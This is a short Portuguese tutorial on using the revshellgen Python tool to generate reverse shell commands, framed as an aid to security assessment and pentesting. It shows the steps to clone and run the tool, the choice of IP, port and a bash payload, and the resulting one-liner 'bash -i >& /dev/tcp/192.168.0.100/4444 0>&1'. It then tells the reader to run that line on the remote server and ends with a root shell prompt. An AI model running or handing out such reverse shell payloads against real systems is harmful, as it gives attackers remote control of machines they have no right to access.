revshellgen desenvolvido em python e tem como objetivo facilitar a geração de shell a fim de auxiliar no processo de avaliação de segurança e/ou pentest.
Realize o clone do projeto revshellgen e liste o conteúdo do diretório.
Linuxgit clone https://github.com/t0thkr1s/revshellgen cd revshellgen/ ls -l

Execute o script revshellgen.py:
Linux./revshellgen.py

Selecione o IP do seu Servidor atual ou especifique um outro IP, ex:
Linux[ x ] 192.168.0.100 on eth0

Informe uma Porta para estabelecer a conexão reversa, ex: 4444
Linux[ # ] Enter port number : 4444

Selecione o comando, ex: unix_bash
Linux[ x ] unix_bash

Você pode optar em encodar a URL ou Comando respondendo no ou yes
Linux[ x ] no [ ] yes

Ao pressionar o Enter a URL ou Comando é gerado.
Responda yes para aguardar a conexão reversa.
Linux---------- [ FINISHED COMMAND ] ---------- bash -i >& /dev/tcp/192.168.0.100/4444 0>&1 ---------- [ SETUP LISTERNER ] ---------- [ ] no [ x ] yes

No servidor remoto execute o comando:
Linuxbash -i >& /dev/tcp/192.168.0.100/4444 0>&1

Conexão estabelecida com sucesso!
Linuxroot@www:/#
